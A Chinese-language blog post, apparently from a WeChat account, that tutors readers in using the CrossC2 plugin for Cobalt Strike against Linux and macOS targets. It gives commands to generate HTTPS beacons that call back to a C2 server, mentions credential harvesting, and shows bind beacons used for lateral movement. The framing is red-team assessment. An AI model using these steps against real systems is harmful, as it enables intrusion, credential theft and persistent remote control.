这是一篇宠粉向的文章,做公众号这么久了,经常会收到很多人的留言,看到自己的文章能帮助到别人,是一件很开心的事情。
最近有朋友提出来了上线的问题,于是水文一篇,聊聊这个话题。
CrossC2是什么?
面向企业自身及红队人员的安全评估框架,支持CobaltStrike对其他平台(Linux/MacOS/...)的安全评估,支持自定义模块,及包含一些常用的渗透模块。其开源地址为https://github.com/gloxec/CrossC2。官方文档地址为:https://gloxec.github.io/CrossC2/zh_cn/
如果需要使用的话,我们需要下载主文件CrossC2.cna、genCrossC2.Linux (如果操作系统是Windows, 下载genCrossC2.Win.exe).然后CS安装脚本文件,并在脚本文件中设置genCrossC2.Linux的路径。
$CC2_PATH = "/xxx/xx/xx"; # <-------- fix
$CC2_BIN = "/genCrossC2.Linux";
安装后,主界面显示CrossC2
目前的话该工具因为一些原因,目前强制只支持HTTPS beacon。若不使用CobaltSteike直接生成载荷,需要将.cobaltstrike.beacon_keys复制到本地目录下,便可以使用genCrossC2.Linux 生成载荷。
如果是4.1版本的CS,请使用4.1分支https://github.com/gloxec/CrossC2/tree/cs4.1/src 其作者还提供了一套工具包进行辅助使用,工具包地址为https://github.com/gloxec/CrossC2/tree/master/CrossC2Kit
下面来演示使用该插件进行上线linux
首先开启一个https的监听,然后使用gui进行生成
依次填入需要填写的内容即可,注意选择Stageless,否则生成的为一串shellcode
命令行生成:
./genCrossC2.Linux ip port ./.cobaltstrike.beacon_keys null Linux x64 /tmp/CrossC2-test
运行生成的文件,获取session
执行命令
插件提供了丰富的功能
使用插件的文件管理功能
凭据获取
运行py 脚本,直接内存
python import base64;print base64.b64encode('whoami'); print 'a'*40
使用bind进行横向移动,
生成 Linux-bind / MacOS-bind 类型的beacon
内网中的目标运行 ./MacOS-bind.beacon <port> 开启服务
在网络联通的session中运行 connect <targetIP>:<port>